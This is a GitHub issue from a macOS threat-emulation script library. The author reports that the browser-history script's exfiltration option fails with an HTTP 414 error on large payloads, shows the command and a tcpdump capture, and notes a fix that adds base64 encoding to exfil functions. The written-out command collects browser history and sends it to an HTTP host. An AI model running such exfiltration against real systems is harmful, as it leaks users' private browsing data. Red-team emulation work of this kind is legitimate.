darmado / attack-macOS

A library of MacOS scripts based on threat emulation, community research, CTI, atomic-red-team, and MITRE ATT&CK.
Apache License 2.0
1 stars 0 forks source link

Exfil Function - Unable to exfil data when size exceeds HTTP RFC: 414 Request-URI Too Long #3

Closed darmado closed 6 days ago

darmado commented 1 week ago

Unable to exfil data when size of data exceeds HTTP RFC standards.

Command ╰─➤ sh browser_history.sh -c --exfil=http://localhost

Evidence - Server side response

tcpdump -ni lo0 port 80 -A -s 0 -l

`....s...HTTP/1.1 414 Request-URI Too Long Date: Wed, 18 Sep 2024 05:07:05 GMT Server: Apache/2.4.56 (Unix) Content-Length: 248 Connection: close Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

414 Request-URI Too Long

Request-URI Too Long

The requested URL's length exceeds the capacity limit for this server.

`
darmado commented 6 days ago

FIXED

Also default b64 encoding to exfil functions